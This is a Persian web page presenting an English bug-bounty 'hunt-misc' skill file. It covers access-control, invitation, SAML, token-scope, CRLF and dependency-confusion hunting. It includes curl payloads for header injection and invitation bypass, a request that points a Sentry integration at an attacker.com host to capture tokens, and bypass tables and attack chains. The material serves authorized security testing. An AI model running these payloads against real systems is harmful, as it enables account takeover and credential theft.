hunt-misc

skillupstreamکلاس آسیب‌پذیریگزارش: ۲۲۵۲۳ کیلوبایت۱۰ بخش

اسکیل کلاس آسیب‌پذیری برای misc (متفرقه) — استخراج‌شده از ۲۲۵ گزارش عمومی باگ‌بانتی. نقص‌های کنترل دسترسی، افشای اطلاعات، باگ‌های منطق session/auth و میکانفیگ را پوشش می‌دهد. هنگام شکار روی هر تارگتی به‌کار می‌آید.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for misc vulnerabilities. Built from 225 public bug bounty reports. Use when hunting misc on any target.

فلوی اجرای گام‌به‌گام

◆
hunt-miscشروع اجرا
۱
همه‌ی مرزهای نقش/مجوز را نقشه کن — هر سطح نقش را enumerate کن (owner ← admin ← staff ← guest ← removed) و مستند کن هر نقش *باید* چه چیزی ببیند
۲
فلوهای دعوت را سرتاسر تست کن — دعوت‌ها را بدون تکمیل مراحل verification بپذیر؛ توکن‌های دعوت را دست‌کاری کن؛ تست کن آیا پذیرفتن دعوت به‌عنوان کاربر دیگر دسترسی می‌دهد
۳
دسترسی پس از حذف را تست کن — کاربر را به منبعی اضافه کن، حذفش کن، بعد تست کن آیا session/tokenش هنوز دسترسی می‌دهد (مخصوصاً بعد از حذف از company/org)
۴
اعمال scope توکن را فاز کن — PAT/توکن با scope حداقلی یا بدون scope بساز، بعد endpointهای APIای را صدا کن که *باید* scope بالاتر بخواهند
۵
دسترسی به منابع میان‌مستأجری را تست کن — به‌عنوان Tenant A تلاش کن منابع Tenant B را با دست‌کاری ID، مسیر یا هدر بخوانی/بنویسی
۶
endpointهای داخلی/مستندنشده‌ی API را probe کن — دنبال endpointهای LFS، operationهای داخلی GraphQL، محیط pre-receive hook و لاگ‌های تحویل webhook باش
۷
منطق SAML/SSO را بررسی کن — دورزدن تأیید امضا را با حذف امضا، تغییر NameID، replay کردن assertion یا دست‌کاری namespace مربوط به XML تست کن
۸
فیلدهای پیکربندی را برای SSRF/exfil توکن audit کن — هر فیلد URL در تنظیمات admin (Sentry DSN، URL مربوط به webhook، URL مربوط به proxy) یک SSRF یا نشتی credential بالقوه است
۹
؟ تصمیمفلوهای password reset و verify ایمیل را تست کن — مراحل verification ایمیل را رد کن؛ تست کن آیا توکن‌های reset به یک کاربر scoped‌اند؛ استفاده‌ی مجدد توکن را تست کن
۱۰
نقاط تزریق هدر HTTP را بررسی کن — هر ورودی کنترل‌شده‌ی کاربر که از طریق middleware مربوط به Ruby/Rack وارد هدر پاسخ می‌شود؛ دنباله‌های CRLF را تست کن
۱۱
بهداشت DNS/ساب‌دامین را تأیید کن — ساب‌دامین‌ها را enumerate کن، رکوردهای CNAME معلق را بررسی کن، رکوردهای SPF/DMARC/DKIM را تأیید کن
۱۲
پیکربندی‌های proxy رجیستری پکیج را تست کن — دنبال dependency confusion از طریق requestهای forwardشده به رجیستری‌های عمومی (PyPI، npm، RubyGems) باش
۱۳
مهاجم همین حالا چه کاری می‌تواند انجام دهد؟
۱۴
قربانی چه چیزی از دست می‌دهد؟
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۴ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-miscکلاس آسیب‌پذیری · ۱۰ بخش۱اهداف ارزشمند۲سطح حمله و سیگنال‌ها۳مراحل شکار۴Payload و الگوهای تشخیص۵علل ریشه‌ای۶تکنیک‌های Bypass۷دروازه‌ی اعتبارسنجی۸اهداف ارزشمند۹زنجیره‌ها و ترکیب‌ها۱۰دروازه‌ی اعتبارسنجی
اهداف ارزشمند · ۲سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۲علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۱ از ۱۰

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

چرا این کلاس آسیب‌پذیری پول می‌دهد:

آسیب‌پذیری‌های MISC طیف نقص‌های کنترل دسترسی، افشای اطلاعات، باگ‌های منطق session/auth و میکانفیگ را پوشش می‌دهند — دسته‌هایی که پیوسته بالاترین payoutها را تولید می‌کنند چون مستقیم به impact کسب‌وکاری نگاشت می‌شوند: افشای داده، تسخیر حساب، privilege escalation و compromise زیرساخت.

اهداف با بیشترین ارزش:

  • ‏پلتفرم‌های SaaS با سلسله‌مراتب نقش (Shopify، GitHub، GitLab) — هر مرزی بین owner/admin/staff/guest سطح privilege escalation است
  • ‏فلوهای identity/auth — لینک‌های دعوت، password reset، SAML SSO، scopeهای توکن OAuth
  • ‏سیستم‌های چندمستأجری — یک tenant که به داده‌ی tenant دیگر دست می‌زند
  • ‏APIهای داخلی — endpointهای LFS، pre-receive hookها، GraphQL/REST داخلی که فرض می‌کنند caller مورداعتماد است
  • ‏قابلیت‌های مدیریت دامین/DNS — کنترل‌های انتقال، delegation ساب‌دامین
  • ‏مدیریت توکن/credential — scopeهای PAT، deploy keyها، توکن‌های API ذخیره‌شده در فیلدهای config

انواع asset که بیشتر پول می‌دهند:

  • ‏APIهای محصول اصلی (نه ساب‌دامین‌های مارکتینگ)
  • ‏نسخه‌های سازمانی/self-hosted (GitHub Enterprise، GitLab EE)
  • ‏سیستم‌های دعوت partner/collaborator
  • ‏یکپارچت‌های اپ OAuth و endpointهای webhook
۲

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۲ از ۱۰

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

الگوهای URL برای رصد:

/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*

سیگنال‌های هدر پاسخ:

X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*

الگوهای JS که سطوح داخلی را لو می‌دهند:

// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATs

سیگنال‌های tech stack:

  • ‏middleware مربوط به Ruby/Rack (ریسک تزریق CRLF در pitchfork)
  • ‏فعال‌بودن SAML SSO روی اینستنس‌های سازمانی
  • ‏پیکربندی‌های proxy/mirror مربوط به PyPI (dependency confusion)
  • ‏فیلدهای یکپارچت ردیابی خطای Sentry (بردار SSRF/نشتی توکن)
  • ‏سیستم‌های دعوت چندنقشه (partner، staff، collaborator)

۳

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۳ از ۱۰

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. همه‌ی مرزهای نقش/مجوز را نقشه کن — هر سطح نقش را enumerate کن (owner ← admin ← staff ← guest ← removed) و مستند کن هر نقش باید چه چیزی ببیند

انضباط مارکر: وقتی مرزهای نقش را با تزریق توکن/شناسه‌ی یکتا در داده‌ی تست هر نقش probe می‌کنی، مارکرها باید رشته‌های تصادفی یکتای الفبایی-عددی باشند (۸+ کاراکتر، بدون کلمه‌ی انگلیسی، بدون کلیدواژه‌ی پروتکل). مارکرهای بد: test، marker، attacker، evil، admin، AAAA. مارکرهای خوب: cpmark987abc، x4hd2k9pq. پیش از ادعای هر reflection، پاسخ baseline (بدون مارکر) را برای مارکر جست‌وجو کن — اگر طبیعی ظاهر شد، مارکر را عوض کن.

قاعده‌ی Body-Diff: ادعای دورزدن امتیاز به تفاوت در BODY پاسخ نیاز دارد، نه فقط status code. 200 OK با body بایت‌به‌بایت یکسان با baseline دورزدن نیست. همیشه bodyها را کنار هم diff کن پیش از ادعا. ادعاهای فقط-status-code رایج‌ترین دسته‌ی ردشده‌ی N/A در پلتفرم‌های باگ‌بانتی‌اند.

  1. فلوهای دعوت را سرتاسر تست کن — دعوت‌ها را بدون تکمیل مراحل verification بپذیر؛ توکن‌های دعوت را دست‌کاری کن؛ تست کن آیا پذیرفتن دعوت به‌عنوان کاربر دیگر دسترسی می‌دهد
  1. دسترسی پس از حذف را تست کن — کاربر را به منبعی اضافه کن، حذفش کن، بعد تست کن آیا session/tokenش هنوز دسترسی می‌دهد (مخصوصاً بعد از حذف از company/org)
  1. اعمال scope توکن را فاز کن — PAT/توکن با scope حداقلی یا بدون scope بساز، بعد endpointهای APIای را صدا کن که باید scope بالاتر بخواهند
  1. دسترسی به منابع میان‌مستأجری را تست کن — به‌عنوان Tenant A تلاش کن منابع Tenant B را با دست‌کاری ID، مسیر یا هدر بخوانی/بنویسی
  1. endpointهای داخلی/مستندنشده‌ی API را probe کن — دنبال endpointهای LFS، operationهای داخلی GraphQL، محیط pre-receive hook و لاگ‌های تحویل webhook باش
  1. منطق SAML/SSO را بررسی کن — دورزدن تأیید امضا را با حذف امضا، تغییر NameID، replay کردن assertion یا دست‌کاری namespace مربوط به XML تست کن
  1. فیلدهای پیکربندی را برای SSRF/exfil توکن audit کن — هر فیلد URL در تنظیمات admin (Sentry DSN، URL مربوط به webhook، URL مربوط به proxy) یک SSRF یا نشتی credential بالقوه است
  1. فلوهای password reset و verify ایمیل را تست کن — مراحل verification ایمیل را رد کن؛ تست کن آیا توکن‌های reset به یک کاربر scoped‌اند؛ استفاده‌ی مجدد توکن را تست کن
  1. نقاط تزریق هدر HTTP را بررسی کن — هر ورودی کنترل‌شده‌ی کاربر که از طریق middleware مربوط به Ruby/Rack وارد هدر پاسخ می‌شود؛ دنباله‌های CRLF را تست کن
  1. بهداشت DNS/ساب‌دامین را تأیید کن — ساب‌دامین‌ها را enumerate کن، رکوردهای CNAME معلق را بررسی کن، رکوردهای SPF/DMARC/DKIM را تأیید کن
  1. پیکربندی‌های proxy رجیستری پکیج را تست کن — دنبال dependency confusion از طریق requestهای forwardشده به رجیستری‌های عمومی (PyPI، npm، RubyGems) باش
مراحل استخراج‌شده
  1. ۱همه‌ی مرزهای نقش/مجوز را نقشه کن — هر سطح نقش را enumerate کن (owner ← admin ← staff ← guest ← removed) و مستند کن هر نقش *باید* چه چیزی ببیند
  2. ۲فلوهای دعوت را سرتاسر تست کن — دعوت‌ها را بدون تکمیل مراحل verification بپذیر؛ توکن‌های دعوت را دست‌کاری کن؛ تست کن آیا پذیرفتن دعوت به‌عنوان کاربر دیگر دسترسی می‌دهد
  3. ۳دسترسی پس از حذف را تست کن — کاربر را به منبعی اضافه کن، حذفش کن، بعد تست کن آیا session/tokenش هنوز دسترسی می‌دهد (مخصوصاً بعد از حذف از company/org)
  4. ۴اعمال scope توکن را فاز کن — PAT/توکن با scope حداقلی یا بدون scope بساز، بعد endpointهای APIای را صدا کن که *باید* scope بالاتر بخواهند
  5. ۵دسترسی به منابع میان‌مستأجری را تست کن — به‌عنوان Tenant A تلاش کن منابع Tenant B را با دست‌کاری ID، مسیر یا هدر بخوانی/بنویسی
  6. ۶endpointهای داخلی/مستندنشده‌ی API را probe کن — دنبال endpointهای LFS، operationهای داخلی GraphQL، محیط pre-receive hook و لاگ‌های تحویل webhook باش
  7. ۷منطق SAML/SSO را بررسی کن — دورزدن تأیید امضا را با حذف امضا، تغییر NameID، replay کردن assertion یا دست‌کاری namespace مربوط به XML تست کن
  8. ۸فیلدهای پیکربندی را برای SSRF/exfil توکن audit کن — هر فیلد URL در تنظیمات admin (Sentry DSN، URL مربوط به webhook، URL مربوط به proxy) یک SSRF یا نشتی credential بالقوه است
  9. ۹فلوهای password reset و verify ایمیل را تست کن — مراحل verification ایمیل را رد کن؛ تست کن آیا توکن‌های reset به یک کاربر scoped‌اند؛ استفاده‌ی مجدد توکن را تست کن
  10. ۱۰نقاط تزریق هدر HTTP را بررسی کن — هر ورودی کنترل‌شده‌ی کاربر که از طریق middleware مربوط به Ruby/Rack وارد هدر پاسخ می‌شود؛ دنباله‌های CRLF را تست کن
  11. ۱۱بهداشت DNS/ساب‌دامین را تأیید کن — ساب‌دامین‌ها را enumerate کن، رکوردهای CNAME معلق را بررسی کن، رکوردهای SPF/DMARC/DKIM را تأیید کن
  12. ۱۲پیکربندی‌های proxy رجیستری پکیج را تست کن — دنبال dependency confusion از طریق requestهای forwardشده به رجیستری‌های عمومی (PyPI، npm، RubyGems) باش
اسکیل‌های مرتبط:
۴

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۴ از ۱۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

تزریق CRLF/هدر (Ruby Net::HTTP، Rack/pitchfork):

# Test CRLF in header values
curl -v "https://target.com/path" \
  -H $'X-Custom: value\r\nInjected-Header: evil'

# URL-encoded variant
curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"

# Test in pitchfork/Rack apps — inject via query param reflected in Location header
curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"

privilege escalation با دورزدن دعوت:

# Accept invitation without email verification
curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
  -H "Cookie: session=UNVERIFIED_SESSION" \
  -d '{"role":"admin"}'

# Test invitation token for another user
curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
  -H "Cookie: session=VICTIM_SESSION"

دورزدن scope توکن (PAT در GitHub/GitLab):

# Call privileged endpoint with minimal-scope token
curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
  "https://api.github.com/repos/org/private-repo/issues"

# Test suspended installation access
curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
  "https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"

SSRF از طریق فیلدهای URL در config (یکپارچت Sentry):

# Change Sentry URL to internal listener
curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
  -H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
  -d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'

تشخیص ReDoS:

# Test Ruby URI parser
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'

# Test IPAddr
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'

# Timing-based detection
time curl "https://target.com/search?q=aaaa" # baseline
time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"

الگوهای grep برای recon سورس:

# Find SAML signature verification
grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"

# Find hardcoded or weak scope checks
grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"

# Find invitation acceptance without verification
grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"

# Find internal API routes
grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"

ساب‌دامین معلق / بررسی DNS:

# Check for obsolete DNS records
dig CNAME handbook.gitlab.com
curl -sI https://handbook.gitlab.com | head -5
# Look for NXDOMAIN or 404 on hosting provider = takeover candidate

# SPF check
dig TXT rubylang.org | grep spf
# Missing or ~all = email spoofing risk

۵

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۵ از ۱۰

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. حذف‌نرم بدون باطل‌سازی مجوز — حذف کاربر از org او را removed علامت می‌زند ولی sessionهای فعال یا بررسی‌های مجوز کش‌شده را باطل نمی‌کند؛ فراخوانی‌های بعدی API هنوز با کانتکست auth قدیمی عبور می‌کنند
  1. پذیرش دعوت بدون دروازه‌ی verification — توسعه‌دهندگان فلوی دعوت را خوش‌بینانه پیاده می‌کنند (فرض می‌کنند گیرنده‌ی ایمیل مشروع است) و هنگام مصرف توکن توسط session متفاوت verification مجدد را رد می‌کنند
  1. scope توکن هنگام صدور چک می‌شود نه هنگام استفاده — scopeهای PAT/OAuth هنگام ساخت توکن اعتبارسنجی می‌شوند ولی handlerهای تکی endpoint دوباره scope را چک نمی‌کنند و به middlewareی اعتماد می‌کنند که ممکن است شکاف داشته باشد
  1. کنترل دسترسی نقش‌محور فقط در لایه‌ی UI — فرانت‌اند دکمه‌ها را برای نقش‌های محدود مخفی می‌کند ولی endpointهای API همان محدودیت را اعمال نمی‌کنند؛ فراخوانی مستقیم API گیتینگ UI را دور می‌زند
  1. quirkهای parsing مربوط به SAML XML — امضا فقط بخشی از سند را پوشش می‌دهد؛ تفاوت‌های canonicalization مربوط به XML اجازه می‌دهد محتوای unsigned تأیید عبور کند؛ حملات namespace prefix
  1. فیلدهای config/URL به‌عنوان داخلی مورداعتماد — فیلدهای URL یکپارچت (Sentry، webhook) فرض می‌شود فقط توسط ادمین‌های مورداعتماد ست می‌شوند؛ نقش‌های سطح maintainer می‌توانند برای exfil توکن آن‌ها را تغییر دهند
  1. تزریق هدر Ruby از طریق درون‌گذاری رشته — توسعه‌دهنده هدر پاسخ HTTP را با چسباندن رشته بدون پاک‌سازی newline می‌سازد؛ تغییرات رفتاری Rack 3 باگ‌های قبلاً پنهان را آشکار کرد
  1. پیکربندی‌های proxy/mirror که همه‌ی requestها را به upstream forward می‌کنند — رجیستری‌های پکیج که برای fallback به رجیستری‌های عمومی تنظیم شده‌اند بدون محدودکردن اینکه کدام پکیج‌ها فقط-داخلی‌اند و dependency confusion را ممکن می‌کنند
  1. محیط pre-receive hook که کانتکست ممتاز را لو می‌دهد — اسکریپت‌های hook با دسترسی به متغیرهای محیطی داخلی، internals مربوط به git یا کلیدهای SSH اجرا می‌شوند که نباید در دسترس کاربر باشند
  1. طراحی session چنددستگاهی که با session fixation اشتباه گرفته می‌شود — مهندسان «remember me بین دستگاه‌ها» را با صدور توکن بدون انقضا پیاده می‌کنند و آن را قابلیت می‌دانند در حالی که ریسک دسترسی ماندگار می‌سازند
  1. پاسخ‌های policy سرور که با oracle وابسته به state اشتباه می‌شوند — وقتی انواع مسیرهای متفاوت همان شکل پاسخ را برمی‌گردانند، به فیلتر blocklist/policy سمت سرور شک کن، نه oracle واقعی وجود-فایل/کاربر/منبع. مهندسان فیلترهای کلی می‌گذارند (مثل «هر مسیر منتهی به .config/.ashx/.asmx/.svc را بلاک کن») که صرف‌نظر از وجود فایل زیرین همان خطا را برمی‌گردانند. «فایل موجود است» را از شکل پاسخ استنباط نکن — download.aspx?SourceUrl= در SharePoint برای پسوندهای .ashx/.asmx/.svc/.config صرف‌نظر از وجود فایل "blocked from this Web site by the server administrators" برمی‌گرداند — شبیه oracle وجود-فایل به نظر می‌رسید، ولی در واقع blocklist پسوند بود. با آن فیلتر اشتباه گرفتن لیستی از «endpointهای سفارشی برندشده‌ی مشتری» تولید کرد که اصلاً وجود نداشتند.
۶

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۶ از ۱۰

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

اقدامات کاهشی مدافع و روش دورزدنشان:

دفاعدورزدن
verification ایمیل روی دعوتتوکن را در session متفاوت پیش از تکمیل مرحله‌ی verification بپذیر؛ تک‌بارمصرف یا چندبارمصرف بودن توکن را تست کن
بررسی نقش روی endpoint مربوط به APIنسخه‌های جایگزین API (/v3/ در برابر /v4/)، aliasهای GraphQL یا endpointهای داخلی که middleware را رد می‌کنند پیدا کن
اعتبارسنجی امضای SAMLعنصر Signature را کلاً حذف کن؛ از سردرگمی namespace مربوط به XML استفاده کن؛ عنصر Assertion بدون امضای اضافی تزریق کن
اعمال scope مربوط به PATendpointهایی پیدا کن که scope را در سطح collection چک می‌کنند ولی روی زیرمنبع‌های تکی نه؛ نسخه‌های قدیمی API را تست کن
باطل‌سازی توکن هنگام حذف کاربردر سطح org باطل می‌شود ولی در سطح app/installation نه؛ استفاده‌ی مجدد توکن بین installationها را تست کن
پاک‌سازی ورودی روی مقادیر هدر%0d%0a، \r\n، \u000d\u000a، null byte به‌علاوه‌ی CRLF را امتحان کن؛ parsing وابسته به نسخه‌ی middleware را تست کن
محدودکردن API داخلی به localhostبردار SSRF پیدا کن (URL مربوط به Sentry، URL مربوط به webhook) تا سرور endpoint داخلی را به‌نیابت تو صدا کند
سخت‌سازی regex علیه ReDoSنقاط anchor متفاوت را امتحان کن — اگر # patch شده، ?، % یا کاراکترهای خاص RFC دیگر که backtracking تحریک می‌کنند را امتحان کن
پین‌کردن وابستگینام پکیج را کمی تغییر بده (typosquatting) یا نام پکیج‌های داخلی را هدف بگیر که در رجیستری عمومی منتشر نشده‌اند
اعتبارسنجی claim ساب‌دامینحذف حساب‌های provider هاست را رصد کن؛ از لاگ‌های certificate transparency برای یافتن ساب‌دامین‌های تصاحب‌نشده استفاده کن
۷

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۷ از ۱۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

پیش از نوشتن گزارش، به این سه سؤال پاسخ بده:

  1. مهاجم همین حالا چه کاری می‌تواند انجام دهد؟

باید اقدام مشخصی باشد: خواندن PII مشتری، ارتقا به نقش admin، تسخیر حساب، انتقال asset دامین، بیرون‌کشیدن توکن API، تزریق هدر پاسخ. «احتمالاً می‌تواند…» کافی نیست.

  1. قربانی چه چیزی از دست می‌دهد؟

باید به asset واقعی نگاشت شود: داده‌ی مشتری، کنترل حساب، asset مالی (دامین)، credential، محتوای ریپازیتوری کد، یا اعتماد پلتفرم. «بهترین‌رویه‌های امنیتی رعایت نشده» پاسخ معتبری نیست.

  1. آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟

مراحل دقیق را بنویس (بدون ابزار خاص، بدون race conditionای که شانس بخواهد). اگر به شرایط ازپیش‌موجود نیاز داری (مثلاً باید از قبل maintainer باشی)، صریح ذکرشان کن و تأیید کن که برای مهاجم واقعاً قابل‌دستیابی‌اند.

مراحل استخراج‌شده
  1. ۱مهاجم همین حالا چه کاری می‌تواند انجام دهد؟
  2. ۲قربانی چه چیزی از دست می‌دهد؟
  3. ۳آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟
۸

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۸ از ۱۰

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

سناریوی الف — Privilege Escalation از طریق دعوت partner تأییدنشده (رده‌ی Shopify)

مهاجم لینک دعوت partner برای نقش کم‌امتیاز دریافت می‌کند. پیش از تکمیل verification ایمیل، توکن دعوت را در sessionی استفاده می‌کند که به‌عنوان حساب متفاوت (یا بدون حساب) احراز هویت شده. پلتفرم نقش partner بالادست را بدون تأیید هویت اعطا می‌کند و به مهاجم امکان دسترسی به داده‌ی merchant، نصب اپ یا تغییر پیکربندی فروشگاه برای همه‌ی فروشگاه‌های حساب partner را می‌دهد. تأثیر کسب‌وکاری: دسترسی کامل در سطح partner به صدها فروشگاه merchant بدون هیچ رابطه‌ی مشروع.

سناریوی ب — ماندگاری داده‌ی میان‌مستأجری پس از حذف (رده‌ی Shopify/GitLab)

عضو staff با مجوز محدود بعد از اختلاف از حساب company حذف می‌شود. توکن session او معتبر می‌ماند چون باطل‌سازی فقط جدول عضویت را آپدیت می‌کند نه مخزن session را. کارمند سابق روزها یا هفته‌ها پس از خاتمه با فراخوانی مستقیم API به PII مشتری، داده‌ی سفارش و گزارش‌های مالی دسترسی دارد. تأثیر کسب‌وکاری: قرارگرفتن در معرض نقض GDPR/CCPA، اهرم بالقوه‌ی اخاذی، سرقت اطلاعات رقابتی.

سناریوی ج — دورزدن امضای SAML برای تسخیر حساب (رده‌ی GitHub Enterprise)

مهاجم اینستنس GitHub Enterprise با SAML SSO فعال را هدف می‌گیرد و پاسخ SAMLای می‌سازد که عنصر Signature آن حذف یا جابه‌جا شده تا فقط یک attribute غیربحرانی assertion را پوشش دهد. parser مربوط به XML سند را معتبر می‌پذیرد؛ verifier امضا عبور می‌کند چون زیرعنصر امضاشده درست اعتبارسنجی می‌شود؛ NameID (username/email) در بخش unsigned روی حساب admin قربانی تنظیم شده. مهاجم بدون دانستن رمز یا MFA به‌عنوان قربانی احراز هویت می‌شود. تأثیر کسب‌وکاری: دسترسی کامل admin به همه‌ی ریپازیتوری‌های خصوصی، رازهای CI/CD و workflowهای GitHub Actions در سازمان.

۹

زنجیره‌ها و ترکیب‌ها

Chains & Compositions (Senior Hunting)
ترجمه‌ی کامل ✓بخش ۹ از ۱۰

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

چک‌لیست به تو می‌گوید یک‌باره دنبال چه باگی بگردی. کار سنیور primitiveها را در engagementهای چندمرحله‌ای ترکیب می‌کند تا به impact برسد. هر زنجیره‌ی زیر از primitiveهای موجود در متدولوژی و علل ریشه‌ای همین اسکیل ساخته شده — جفت‌شده با یک primitive ثانویه از اسکیل همسایه. الگوی مشترک همه: primitive ثانویه است که impact تولید می‌کند. IDOR حذف‌نرم به‌تنهایی N/A است؛ با session-storeی که باطل نمی‌کند جفتش کن، می‌شود High.

زنجیره‌ی ۱ — حذف‌نرم + ماندگاری session پس از حذف ← PII میان‌مستأجری
  • ‏الف. endpoint «حذف عضو» را شناسایی کن که فلگ active=false می‌زند یا ردیف عضویت را حذف می‌کند ولی session کاربر را باطل یا توکن‌های صادرشده را لغو نمی‌کند (علت ریشه‌ای #۱: حذف‌نرم بدون باطل‌سازی مجوز).
  • ‏ب. به‌عنوان عضو staff در انتظار حذف لاگین کن؛ کوکی session / PAT را بگیر.
  • ‏ج. ادمین org را وادار کن کاربر را از فلوی عادی حذف کند. صبر کن. همان فراخوانی‌های API (GET /admin/orders، GET /admin/payouts، GET /admin/customers) را با توکن گرفته‌شده دوباره بزن.
  • ‏تأثیر: فراخوانی‌های API روزها یا هفته‌ها پس از حذف جواب می‌دهند — بررسی‌های مجوز کش‌شده کانتکست auth قدیمی را عبور می‌دهند. قرارگرفتن در معرض نقض GDPR/CCPA؛ اهرم اخاذی؛ سرقت اطلاعات رقابتی.
  • ‏شکل واقعی: کلاس ماندگاری session کارمند حذف‌شده‌ی Shopify (۲۰۲۲)؛ کلاس مجوزهای کش‌شده پس از حذف در GitLab. جفت با hunt-ato مسیر ۵ (session-fixation).
زنجیره‌ی ۲ — استفاده‌ی مجدد توکن دعوت + ردشدن verification ← تزریق نقش ممتاز
  • ‏الف. لینک دعوت برای نقش کم‌امتیاز روی هدف دریافت کن.
  • ‏ب. پیش از تکمیل verification ایمیل، توکن دعوت را از session متفاوت (مرورگر incognito / request ناشناس) POST کن.
  • ج. سرور نقش دعوت‌شده را بدون تأیید مجدد اینکه session مصرف‌کننده با ایمیل دعوت‌شده مطابقت دارد اعطا می‌کند — هویت جدید scope دعوت را به ارث می‌برد.
  • ‏تأثیر: جای‌پای ارتقاداده‌شده بدون مالکیت نشانی ایمیل دعوت‌شده. برای دعوت‌های partner-portal (جایی که نقش partner صدها merchant پایین‌دست را مدیریت می‌کند)، این همان کلاس Critical مربوط به Shopify Partners است.
  • ‏شکل واقعی: افشاهای متعدد Shopify Partners در H1 دوره‌ی ۲۰۲۰–۲۰۲۲ (علت ریشه‌ای #۲). جفت با hunt-auth-bypass گام ۷ (verification فلوی دعوت).
زنجیره‌ی ۳ — CRLF در هدر Ruby + Cache Poisoning ← XSS ذخیره‌شده‌ی انبوه در مقیاس CDN
  • ‏الف. تزریق CRLF در هدر پاسخ Net::HTTP / Rack مربوط به Ruby را شناسایی کن — مقدار کنترل‌شده‌ی کاربر وارد Location: یا هدر X-* سفارشی می‌شود (علت ریشه‌ای #۷: تزریق هدر Ruby از طریق درون‌گذاری رشته).
  • ‏ب. %0d%0aSet-Cookie: session=attacker یا Cache-Control: public, max-age=3600 تکراری تزریق کن که نرمال‌سازی cache-key را در لایه‌های CDN آلوده کند.
  • ‏ج. کش پاسخ مسموم را برای کل max-age ذخیره می‌کند. هر بازدیدکننده‌ی edge در آن geo مقدار Set-Cookie مهاجم یا body کنترل‌شده را دریافت می‌کند.
  • ‏تأثیر: XSS / session fixation میان‌مشتری در مقیاس کامل CDN؛ ماندگار تا انقضای TTL کش؛ همه‌ی بازدیدکنندگان آن مسیر را درگیر می‌کند.
  • ‏شکل واقعی: زنجیره‌ی CRLF + cache poisoning در GitLab (H1 #1160407 / Iustin Ladunca، ۲۰۲۱)؛ advisories مربوط به تغییر رفتار Rack 3 در اکوسیستم (۲۰۲۲–۲۰۲۳). جفت با استناد #۷ و #۱۰ در hunt-cache-poison (کلاس Akamai hop-by-hop).
زنجیره‌ی ۴ — SAML XSW + تفاوت parser ← تزریق claim مربوط به admin ← ATO در SSO
  • ‏الف. یک SAMLResponse معتبر از فلوی auth مشروع بگیر (در Burp برای SAMLResponse= در bodyهای POST روی /saml/acs یا /Shibboleth.sso فیلتر بزن).
  • ‏ب. عنصر <Assertion> خواهر تزریق کن تا parser امضاچک‌کننده‌ی XML (REXML/Xerces) گره متفاوتی از parser منطق کسب‌وکار (Nokogiri/JAXP) resolve کند. assertion بیرونی بی‌ضرر را امضا کن؛ <NameID>admin@victim</NameID> را در assertion داخلی امضانشده جا بده.
